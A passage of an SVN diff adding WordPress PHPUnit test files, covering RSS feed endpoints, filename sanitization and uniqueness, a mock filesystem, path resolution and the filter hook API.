+			$creator = xml_find( $items[$key]['child'], 'dc:creator' );
+			$user = new WP_User( $post->post_author );
+			$this->assertEquals( $user->display_name, $creator[0]['content'] );
+
+			// Categories (perhaps multiple)
+			$categories = xml_find( $items[$key]['child'], 'category' );
+			$cats = array();
+			foreach ( get_the_category( $post->ID ) as $term ) {
+				$cats[] = $term->name;
+			}
+
+			$tags = get_the_tags( $post->ID );
+			if ( $tags ) {
+				foreach ( get_the_tags( $post->ID ) as $term ) {
+					$cats[] = $term->name;
+				}
+			}
+			$cats = array_filter( $cats );
+			// Should be the same number of categories
+			$this->assertEquals( count( $cats ), count( $categories ) );
+
+			// ..with the same names
+			foreach ( $cats as $id => $cat ) {
+				$this->assertEquals( $cat, $categories[$id]['content'] );
+			}
+
+			// GUID
+			$guid = xml_find( $items[$key]['child'], 'guid' );
+			$this->assertEquals( 'false', $guid[0]['attributes']['isPermaLink'] );
+			$this->assertEquals( $post->guid, $guid[0]['content'] );
+
+			// Description / Excerpt
+			if ( ! empty( $post->post_excerpt ) ) {
+				$description = xml_find( $items[$key]['child'], 'description' );
+				$this->assertEquals( trim( $post->post_excerpt ), trim( $description[0]['content'] ) );
+			}
+
+			// Post content
+			if ( ! $this->excerpt_only ) {
+				$content = xml_find( $items[$key]['child'], 'content:encoded' );
+				$this->assertEquals( trim( apply_filters( 'the_content', $post->post_content ) ), trim( $content[0]['content'] ) );
+			}
+
+			// Comment rss
+			$comment_rss = xml_find( $items[$key]['child'], 'wfw:commentRss' );
+			$this->assertEquals( html_entity_decode( get_post_comments_feed_link( $post->ID ) ), $comment_rss[0]['content'] );
+		}
+	}
+
+	/**
+	 * @ticket 9134
+	 */
+	function test_items_comments_closed() {
+		add_filter( 'comments_open', '__return_false' );
+
+		$this->go_to( '/?feed=rss2' );
+		$feed = $this->do_rss2();
+		$xml = xml_to_array( $feed );
+
+		// get all the rss -> channel -> item elements
+		$items = xml_find( $xml, 'rss', 'channel', 'item' );
+
+		// check each of the items against the known post data
+		foreach ( $items as $key => $item ) {
+			// Get post for comparison
+			$guid = xml_find( $items[$key]['child'], 'guid' );
+			preg_match( '/\?p=(\d+)/', $guid[0]['content'], $matches );
+			$post = get_post( $matches[1] );
+
+			// comment link
+			$comments_link = xml_find( $items[ $key ]['child'], 'comments' );
+			$this->assertEmpty( $comments_link );
+
+			// comment rss
+			$comment_rss = xml_find( $items[ $key ]['child'], 'wfw:commentRss' );
+			$this->assertEmpty( $comment_rss );
+		}
+
+		remove_filter( 'comments_open', '__return_false' );
+	}
+
+	/*
+	 * Check to make sure we are rendering feed templates for the home feed.
+	 * e.g. https://example.com/feed/
+	 *
+	 * @ticket 30210
+	 */
+	function test_valid_home_feed_endpoint() {
+		// An example of a valid home feed endpoint.
+		$this->go_to( 'feed/' );
+
+		// Verify the query object is a feed.
+		$this->assertQueryTrue( 'is_feed' );
+
+		// Queries performed on valid feed endpoints should contain posts.
+		$this->assertTrue( have_posts() );
+
+		// Check to see if we have the expected XML output from the feed template.
+		$feed = $this->do_rss2();
+
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+	}
+
+	/*
+	 * Check to make sure we are rendering feed templates for the taxonomy feeds.
+	 * e.g. https://example.com/category/foo/feed/
+	 *
+	 * @ticket 30210
+	 */
+	function test_valid_taxonomy_feed_endpoint() {
+		// An example of an valid taxonomy feed endpoint.
+		$this->go_to( 'category/foo/feed/' );
+
+		// Verify the query object is a feed.
+		$this->assertQueryTrue( 'is_feed', 'is_archive', 'is_category' );
+
+		// Queries performed on valid feed endpoints should contain posts.
+		$this->assertTrue( have_posts() );
+
+		// Check to see if we have the expected XML output from the feed template.
+		$feed = $this->do_rss2();
+
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+	}
+
+	/*
+	 * Check to make sure we are rendering feed templates for the main comment feed.
+	 * e.g. https://example.com/comments/feed/
+	 *
+	 * @ticket 30210
+	 */
+	function test_valid_main_comment_feed_endpoint() {
+		// Generate a bunch of comments
+		foreach ( self::$posts as $post ) {
+			self::factory()->comment->create_post_comments( $post, 3 );
+		}
+
+		// An example of an valid main comment feed endpoint.
+		$this->go_to( 'comments/feed/' );
+
+		// Verify the query object is a feed.
+		$this->assertQueryTrue( 'is_feed', 'is_comment_feed' );
+
+		// Queries performed on valid feed endpoints should contain comments.
+		$this->assertTrue( have_comments() );
+
+		// Check to see if we have the expected XML output from the feed template.
+		$feed = $this->do_rss2();
+
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+	}
+
+	/*
+	 * Check to make sure we are rendering feed templates for the date archive feeds.
+	 * e.g. https://example.com/2003/05/27/feed/
+	 *
+	 * @ticket 30210
+	 */
+	function test_valid_archive_feed_endpoint() {
+		// An example of an valid date archive feed endpoint.
+		$this->go_to( '2003/05/27/feed/' );
+
+		// Verify the query object is a feed.
+		$this->assertQueryTrue( 'is_feed', 'is_archive', 'is_day', 'is_date' );
+
+		// Queries performed on valid feed endpoints should contain posts.
+		$this->assertTrue( have_posts() );
+
+		// Check to see if we have the expected XML output from the feed template.
+		$feed = $this->do_rss2();
+
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+	}
+
+	/*
+	 * Check to make sure we are rendering feed templates for single post comment feeds.
+	 * e.g. https://example.com/2003/05/27/post-name/feed/
+	 *
+	 * @ticket 30210
+	 */
+	function test_valid_single_post_comment_feed_endpoint() {
+		// An example of an valid date archive feed endpoint.
+		$this->go_to( get_post_comments_feed_link( self::$posts[0] ) );
+
+		// Verify the query object is a feed.
+		$this->assertQueryTrue( 'is_feed', 'is_comment_feed', 'is_single', 'is_singular' );
+
+		// Queries performed on valid feed endpoints should contain posts.
+		$this->assertTrue( have_posts() );
+
+		// Check to see if we have the expected XML output from the feed template.
+		$feed = $this->do_rss2();
+
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+	}
+
+	/*
+	 * Check to make sure we are rendering feed templates for the search archive feeds.
+	 * e.g. https://example.com/?s=Lorem&feed=rss
+	 *
+	 * @ticket 30210
+	 */
+	function test_valid_search_feed_endpoint() {
+		// An example of an valid search feed endpoint
+		$this->go_to( '?s=Lorem&feed=rss' );
+
+		// Verify the query object is a feed.
+		$this->assertQueryTrue( 'is_feed', 'is_search' );
+
+		// Queries performed on valid feed endpoints should contain posts.
+		$this->assertTrue( have_posts() );
+
+		// Check to see if we have the expected XML output from the feed template.
+		$feed = $this->do_rss2();
+
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/file.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/file.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/file.php	(revision 56912)
@@ -0,0 +1,178 @@
+<?php
+
+/**
+ * @group file
+ */
+class Tests_File extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+
+		$file = tempnam( '/tmp', 'foo') ;
+		$this->dir = dirname( $file );
+		unlink( $file );
+
+		$this->badchars = '"\'[]*&?$';
+	}
+
+	/**
+	 * @group plugins
+	 * @group themes
+	 */
+	function test_get_file_data() {
+		$theme_headers = array(
+			'Name' => 'Theme Name',
+			'ThemeURI' => 'Theme URI',
+			'Description' => 'Description',
+			'Version' => 'Version',
+			'Author' => 'Author',
+			'AuthorURI' => 'Author URI',
+		);
+
+		$actual = get_file_data( DIR_TESTDATA . '/themedir1/default/style.css', $theme_headers );
+
+		$expected = array(
+			'Name' => 'WordPress Default',
+			'ThemeURI' => 'http://wordpress.org/',
+			'Description' => 'The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.',
+			'Version' => '1.6',
+			'Author' => 'Michael Heilemann',
+			'AuthorURI' => 'http://binarybonsai.com/',
+		);
+
+		foreach ( $actual as $header => $value )
+			$this->assertEquals( $expected[ $header ], $value, $header );
+	}
+
+	/**
+	 * @group plugins
+	 * @group themes
+	 */
+	function test_get_file_data_cr_line_endings() {
+		$headers = array( 'SomeHeader' => 'Some Header', 'Description' => 'Description', 'Author' => 'Author' );
+		$actual = get_file_data( DIR_TESTDATA . '/formatting/cr-line-endings-file-header.php', $headers );
+		$expected = array(
+			'SomeHeader' => 'Some header value!',
+			'Description' => 'This file is using CR line endings for a testcase.',
+			'Author' => 'A Very Old Mac',
+		);
+
+		foreach ( $actual as $header => $value )
+			$this->assertEquals( $expected[ $header ], $value, $header );
+	}
+
+	function is_unique_writable_file($path, $filename) {
+		$fullpath = $path . DIRECTORY_SEPARATOR . $filename;
+
+		$fp = fopen( $fullpath, 'x' );
+		// file already exists?
+		if (!$fp)
+			return false;
+
+		// write some random contents
+		$c = rand_str();
+		fwrite($fp, $c);
+		fclose($fp);
+
+		if ( file_get_contents($fullpath) === $c )
+			$result = true;
+		else
+			$result = false;
+
+		return $result;
+	}
+
+	function test_unique_filename_is_valid() {
+		// make sure it produces a valid, writable, unique filename
+		$filename = wp_unique_filename( $this->dir, __FUNCTION__ . '.txt' );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_is_unique() {
+		// make sure it produces two unique filenames
+		$name = __FUNCTION__;
+
+		$filename1 = wp_unique_filename( $this->dir, $name . '.txt' );
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename1) );
+		$filename2 = wp_unique_filename( $this->dir, $name . '.txt' );
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename2) );
+
+		// the two should be different
+		$this->assertNotEquals( $filename1, $filename2 );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename1);
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename2);
+	}
+
+	function test_unique_filename_is_sanitized() {
+		$name = __FUNCTION__;
+		$filename = wp_unique_filename( $this->dir, $name . $this->badchars .  '.txt' );
+
+		// make sure the bad characters were all stripped out
+		$this->assertEquals( $name . '.txt', $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_with_slashes() {
+		$name = __FUNCTION__;
+		// "foo/foo.txt"
+		$filename = wp_unique_filename( $this->dir, $name . '/' . $name .  '.txt' );
+
+		// the slash should be removed, i.e. "foofoo.txt"
+		$this->assertEquals( $name . $name . '.txt', $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_multiple_ext() {
+		$name = __FUNCTION__;
+		$filename = wp_unique_filename( $this->dir, $name . '.php.txt' );
+
+		// "foo.php.txt" becomes "foo.php_.txt"
+		$this->assertEquals( $name . '.php_.txt', $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_no_ext() {
+		$name = __FUNCTION__;
+		$filename = wp_unique_filename( $this->dir, $name );
+
+		$this->assertEquals( $name, $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	/**
+	 * @dataProvider data_wp_tempnam_filenames
+	 */
+	function test_wp_tempnam( $case ) {
+		$file = wp_tempnam( $case );
+		unlink( $file );
+
+		$this->assertNotEmpty( basename( basename( $file, '.tmp' ), '.zip' ) );
+	}
+	function data_wp_tempnam_filenames() {
+		return array(
+			array( '0.zip' ),
+			array( '0.1.2.3.zip' ),
+			array( 'filename.zip' ),
+			array( 'directory/0.zip' ),
+			array( 'directory/filename.zip' ),
+			array( 'directory/0/0.zip' ),
+		);
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/filesystem/base.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/filesystem/base.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/filesystem/base.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+
+/**
+ * This class is designed to make use of MockFS, a Virtual in-memory filesystem compatible with WP_Filesystem
+ */
+abstract class WP_Filesystem_UnitTestCase extends WP_UnitTestCase {
+	function setUp() {
+		add_filter( 'filesystem_method_file', array( $this, 'filter_abstraction_file' ) );
+		add_filter( 'filesystem_method', array( $this, 'filter_fs_method' ) );
+		WP_Filesystem();
+	}
+
+	function tearDown() {
+		global $wp_filesystem;
+		remove_filter( 'filesystem_method_file', array( $this, 'filter_abstraction_file' ) );
+		remove_filter( 'filesystem_method', array( $this, 'filter_fs_method' ) );
+		unset( $wp_filesystem );
+
+		parent::tearDown();
+	}
+
+	function filter_fs_method( $method ) {
+		return 'MockFS';
+	}
+	function filter_abstraction_file( $file ) {
+		return dirname( dirname( dirname( __FILE__ ) ) ) . '/includes/mock-fs.php';
+	}
+
+	function test_is_MockFS_sane() {
+		global $wp_filesystem;
+		$this->assertTrue( is_a( $wp_filesystem, 'WP_Filesystem_MockFS' ) );
+
+		$wp_filesystem->init('/');
+
+		// Test creation/exists checks
+		$this->assertFalse( $wp_filesystem->is_dir( '/test/' ) );
+		$wp_filesystem->mkdir( '/test' );
+		$this->assertTrue( $wp_filesystem->exists( '/test' ) );
+		$this->assertTrue( $wp_filesystem->is_dir( '/test/' ) );
+		$this->assertFalse( $wp_filesystem->is_file( '/test' ) );
+		//$this->assertFalse( true );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/filesystem/findFolder.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/filesystem/findFolder.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/filesystem/findFolder.php	(revision 56912)
@@ -0,0 +1,109 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group filesystem
+ * @group wp-filesystem
+ */
+class WP_Filesystem_find_folder_UnitTestCases extends WP_Filesystem_UnitTestCase {
+
+	function test_ftp_has_root_access() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			/var/www/wordpress/
+			/var/www/wordpress/wp-includes/
+			/var/www/wordpress/index.php
+		');
+
+		$path = $fs->find_folder( '/var/www/wordpress/' );
+		$this->assertEquals( '/var/www/wordpress/', $path );
+
+		$path = $fs->find_folder( '/this/directory/doesnt/exist/' );
+		$this->assertFalse( $path );
+
+	}
+
+	function test_sibling_wordpress_in_subdir() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			/www/example.com/wordpress/
+			/www/example.com/wordpress/wp-includes/
+			/www/example.com/wordpress/index.php
+			/www/wp.example.com/wordpress/
+			/www/wp.example.com/wordpress/wp-includes/
+			/www/wp.example.com/wordpress/wp-content/
+			/www/wp.example.com/wordpress/index.php
+			/www/index.php
+		');
+
+		$path = $fs->find_folder( '/var/www/example.com/wordpress/' );
+		$this->assertEquals( '/www/example.com/wordpress/', $path );
+		
+		$path = $fs->find_folder( '/var/www/wp.example.com/wordpress/wp-content/' );
+		$this->assertEquals( '/www/wp.example.com/wordpress/wp-content/', $path );
+
+	}
+
+	/**
+	 * Two WordPress installations, with one contained within the other
+	 * FTP / = /var/www/example.com/ on Disk
+	 * example.com at /
+	 * wp.example.com at /wp.example.com/wordpress/
+	 */
+	function test_subdir_of_another() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			/wp.example.com/index.php
+			/wp.example.com/wordpress/
+			/wp.example.com/wordpress/wp-includes/
+			/wp.example.com/wordpress/index.php
+			/wp-includes/
+			/index.php
+		');
+
+		$path = $fs->abspath( '/var/www/example.com/wp.example.com/wordpress/' );
+		$this->assertEquals( '/wp.example.com/wordpress/', $path );
+		
+		$path = $fs->abspath( '/var/www/example.com/' );
+		$this->assertEquals( '/', $path );
+
+	}
+
+	/**
+	 * Test the WordPress ABSPATH containing TWO tokens (www) of which exists in the current FTP home.
+	 *
+	 * @ticket 20934
+	 */
+	function test_multiple_tokens_in_path1() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			# www.example.com
+			/example.com/www/index.php
+			/example.com/www/wp-includes/
+			/example.com/www/wp-content/plugins/
+			
+			# sub.example.com
+			/example.com/sub/index.php
+			/example.com/sub/wp-includes/
+			/example.com/sub/wp-content/plugins/
+		');
+
+		// www.example.com
+		$path = $fs->abspath( '/var/www/example.com/www/' );
+		$this->assertEquals( '/example.com/www/', $path );
+
+		// sub.example.com
+		$path = $fs->abspath( '/var/www/example.com/sub/' );
+		$this->assertEquals( '/example.com/sub/', $path );
+
+		// sub.example.com - Plugins
+		$path = $fs->find_folder( '/var/www/example.com/sub/wp-content/plugins/' );
+		$this->assertEquals( '/example.com/sub/wp-content/plugins/', $path );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/filters.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/filters.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/filters.php	(revision 56912)
@@ -0,0 +1,383 @@
+<?php
+
+/**
+ * Test apply_filters() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Filters extends WP_UnitTestCase {
+
+	function test_simple_filter() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		add_filter($tag, array($a, 'filter'));
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// only one event occurred for the hook, with empty args
+		$this->assertEquals(1, $a->get_call_count());
+		// only our hook was called
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		$argsvar = $a->get_args();
+		$args = array_pop( $argsvar );
+		$this->assertEquals(array($val), $args);
+	}
+
+	function test_remove_filter() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		add_filter($tag, array($a, 'filter'));
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the filter, do it again, and make sure it's not called this time
+		remove_filter($tag, array($a, 'filter'));
+		$this->assertEquals($val, apply_filters($tag, $val));
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+	}
+
+	function test_has_filter() {
+			$tag  = __FUNCTION__;
+			$func = __FUNCTION__ . '_func';
+
+			$this->assertFalse( has_filter($tag, $func) );
+			$this->assertFalse( has_filter($tag) );
+			add_filter($tag, $func);
+			$this->assertEquals( 10, has_filter($tag, $func) );
+			$this->assertTrue( has_filter($tag) );
+			remove_filter($tag, $func);
+			$this->assertFalse( has_filter($tag, $func) );
+			$this->assertFalse( has_filter($tag) );
+	}
+
+	// one tag with multiple filters
+	function test_multiple_filters() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		// add both filters to the hook
+		add_filter($tag, array($a1, 'filter'));
+		add_filter($tag, array($a2, 'filter'));
+
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// both filters called once each
+		$this->assertEquals(1, $a1->get_call_count());
+		$this->assertEquals(1, $a2->get_call_count());
+	}
+
+	function test_filter_args_1() {
+		$a = new MockAction();
+		$tag  = __FUNCTION__;
+		$val  = __FUNCTION__ . '_val';
+		$arg1 = __FUNCTION__ . '_arg1';
+
+		add_filter($tag, array($a, 'filter'), 10, 2);
+		// call the filter with a single argument
+		$this->assertEquals($val, apply_filters($tag, $val, $arg1));
+
+		$this->assertEquals(1, $a->get_call_count());
+		$argsvar = $a->get_args();
+		$this->assertEquals( array( $val, $arg1 ), array_pop( $argsvar ) );
+	}
+
+	function test_filter_args_2() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag  = __FUNCTION__;
+		$val  = __FUNCTION__ . '_val';
+		$arg1 = __FUNCTION__ . '_arg1';
+		$arg2 = __FUNCTION__ . '_arg2';
+
+		// a1 accepts two arguments, a2 doesn't
+		add_filter($tag, array($a1, 'filter'), 10, 3);
+		add_filter($tag, array($a2, 'filter'));
+		// call the filter with two arguments
+		$this->assertEquals($val, apply_filters($tag, $val, $arg1, $arg2));
+
+		// a1 should be called with both args
+		$this->assertEquals(1, $a1->get_call_count());
+		$argsvar1 = $a1->get_args();
+		$this->assertEquals( array( $val, $arg1, $arg2 ), array_pop( $argsvar1 ) );
+
+		// a2 should be called with one only
+		$this->assertEquals(1, $a2->get_call_count());
+		$argsvar2 = $a2->get_args();
+		$this->assertEquals( array( $val ), array_pop( $argsvar2 ) );
+	}
+
+	function test_filter_priority() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		// make two filters with different priorities
+		add_filter($tag, array($a, 'filter'), 10);
+		add_filter($tag, array($a, 'filter2'), 9);
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// there should be two events, one per filter
+		$this->assertEquals(2, $a->get_call_count());
+
+		$expected = array (
+			// filter2 is called first because it has priority 9
+			array (
+				'filter' => 'filter2',
+				'tag' => $tag,
+				'args' => array($val)
+			),
+			// filter 1 is called second
+			array (
+				'filter' => 'filter',
+				'tag' => $tag,
+				'args' => array($val)
+			),
+		);
+
+		$this->assertEquals($expected, $a->get_events());
+	}
+
+	function test_all_filter() {
+		$a = new MockAction();
+		$tag1 = __FUNCTION__ . '_1';
+		$tag2 = __FUNCTION__ . '_2';
+		$val  = __FUNCTION__ . '_val';
+
+		// add an 'all' filter
+		add_filter('all', array($a, 'filterall'));
+		// do some filters
+		$this->assertEquals($val, apply_filters($tag1, $val));
+		$this->assertEquals($val, apply_filters($tag2, $val));
+		$this->assertEquals($val, apply_filters($tag1, $val));
+		$this->assertEquals($val, apply_filters($tag1, $val));
+
+		// our filter should have been called once for each apply_filters call
+		$this->assertEquals(4, $a->get_call_count());
+		// the right hooks should have been called in order
+		$this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+		remove_filter('all', array($a, 'filterall'));
+		$this->assertFalse( has_filter('all', array($a, 'filterall')) );
+
+	}
+
+	function test_remove_all_filter() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		add_filter('all', array($a, 'filterall'));
+		$this->assertTrue( has_filter('all') );
+		$this->assertEquals( 10, has_filter('all', array($a, 'filterall')) );
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the filter, do it again, and make sure it's not called this time
+		remove_filter('all', array($a, 'filterall'));
+		$this->assertFalse( has_filter('all', array($a, 'filterall')) );
+		$this->assertFalse( has_filter('all') );
+		$this->assertEquals($val, apply_filters($tag, $val));
+		// call cound should remain at 1
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+	}
+
+	/**
+	 * @ticket 20920
+	 */
+	function test_remove_all_filters_should_respect_the_priority_argument() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		add_filter( $tag, array( $a, 'filter' ), 12 );
+		$this->assertTrue( has_filter( $tag ) );
+
+		// Should not be removed.
+		remove_all_filters( $tag, 11 );
+		$this->assertTrue( has_filter( $tag ) );
+
+		remove_all_filters( $tag, 12 );
+		$this->assertFalse( has_filter( $tag ) );
+	}
+
+	/**
+	 * @ticket 9886
+	 */
+	function test_filter_ref_array() {
+		$obj = new stdClass();
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action($tag, array($a, 'filter'));
+
+		apply_filters_ref_array($tag, array(&$obj));
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][0], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][0]->foo) );
+	}
+
+	/**
+	 * @ticket 12723
+	 */
+	function test_filter_ref_array_result() {
+		$obj = new stdClass();
+		$a = new MockAction();
+		$b = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action($tag, array($a, 'filter_append'), 10, 2);
+		add_action($tag, array($b, 'filter_append'), 10, 2);
+
+		$result = apply_filters_ref_array($tag, array('string', &$obj));
+
+		$this->assertEquals($result, 'string_append_append');
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][1], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][1]->foo) );
+
+		$args = $b->get_args();
+		$this->assertSame($args[0][1], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][1]->foo) );
+
+	}
+
+	function _self_removal($tag) {
+		remove_action( $tag, array($this, '_self_removal'), 10, 1 );
+		return $tag;
+	}
+
+	/**
+	 * @ticket 29070
+	 */
+	function test_has_filter_after_remove_all_filters() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		// No priority
+		add_filter( $tag, array( $a, 'filter' ), 11 );
+		add_filter( $tag, array( $a, 'filter' ), 12 );
+		$this->assertTrue( has_filter( $tag ) );
+
+		remove_all_filters( $tag );
+		$this->assertFalse( has_filter( $tag ) );
+
+		// Remove priorities one at a time
+		add_filter( $tag, array( $a, 'filter' ), 11 );
+		add_filter( $tag, array( $a, 'filter' ), 12 );
+		$this->assertTrue( has_filter( $tag ) );
+
+		remove_all_filters( $tag, 11 );
+		remove_all_filters( $tag, 12 );
+		$this->assertFalse( has_filter( $tag ) );
+	}
+
+	/**
+	 * @ticket 10441
+	 * @expectedDeprecated tests_apply_filters_deprecated
+	 */
+	public function test_apply_filters_deprecated() {
+		$p = 'Foo';
+
+		add_filter( 'tests_apply_filters_deprecated', array( __CLASS__, 'deprecated_filter_callback' ) );
+		$p = apply_filters_deprecated( 'tests_apply_filters_deprecated', array( $p ), '4.6' );
+		remove_filter( 'tests_apply_filters_deprecated', array( __CLASS__, 'deprecated_filter_callback' ) );
+
+		$this->assertSame( 'Bar', $p );
+	}
+
+	public static function deprecated_filter_callback( $p ) {
+		$p = 'Bar';
+		return $p;
+	}
+
+	/**
+	 * @ticket 10441
+	 * @expectedDeprecated tests_apply_filters_deprecated
+	 */
+	public function test_apply_filters_deprecated_with_multiple_params() {
+		$p1 = 'Foo1';
+		$p2 = 'Foo2';
+
+		add_filter( 'tests_apply_filters_deprecated', array( __CLASS__, 'deprecated_filter_callback_multiple_params' ), 10, 2 );
+		$p1 = apply_filters_deprecated( 'tests_apply_filters_deprecated', array( $p1, $p2 ), '4.6' );
+		remove_filter( 'tests_apply_filters_deprecated', array( __CLASS__, 'deprecated_filter_callback_multiple_params' ), 10, 2 );
+
+		$this->assertSame( 'Bar1', $p1 );
+
+		// Not passed by reference, so not modified.
+		$this->assertSame( 'Foo2', $p2 );
+	}
+
+	public static function deprecated_filter_callback_multiple_params( $p1, $p2 ) {
+		$p1 = 'Bar1';
+		$p2 = 'Bar2';
+
+		return $p1;
+	}
+
+	/**
+	 * @ticket 10441
+	 */
+	public function test_apply_filters_deprecated_without_filter() {
+		$val = 'Foobar';
+
+		$this->assertSame( $val, apply_filters_deprecated( 'tests_apply_filters_deprecated', array( $val ), '4.6' ) );
+	}
+
+	private $current_priority;
+	/**
+	 * @ticket 39007
+	 */
+	public function test_current_priority() {
+		add_action( 'test_current_priority', array( $this, '_current_priority_action' ), 99 );
+		do_action( 'test_current_priority' );
+		remove_action( 'test_current_priority', array( $this, '_current_priority_action' ), 99 );
+
+		$this->assertSame( 99, $this->current_priority );
+	}
+
+	public function _current_priority_action() {
+		global $wp_filter;
+		$this->current_priority = $wp_filter[ current_filter() ]->current_priority();
+	}
+
+	/**
+	 * @ticket 39007
+	 */
+	public function test_other_priority() {
+		add_action( 'test_current_priority', array( $this, '_other_priority_action' ), 99 );
+		do_action( 'test_current_priority' );
+		remove_action( 'test_current_priority', array( $this, '_other_priority_action' ), 99 );
+
+		$this->assertSame( false, $this->current_priority );
+	}
+
+	public function _other_priority_action() {
+		global $wp_filter;
+		$this->current_priority = $wp_filter[ 'the_content' ]->current_priority();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/Autop.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/Autop.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/Autop.php	(revision 56912)
@@ -0,0 +1,561 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Autop extends WP_UnitTestCase {
+	//From ticket https://core.trac.wordpress.org/ticket/11008
+	function test_first_post() {
+		$expected = '<p>Welcome to WordPress!  This post contains important information.  After you read it, you can make it private to hide it from visitors but still have the information handy for future reference.</p>
+<p>First things first:</p>
+<ul>
+<li><a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Subscribe to the WordPress mailing list for release notifications</a></li>
+</ul>
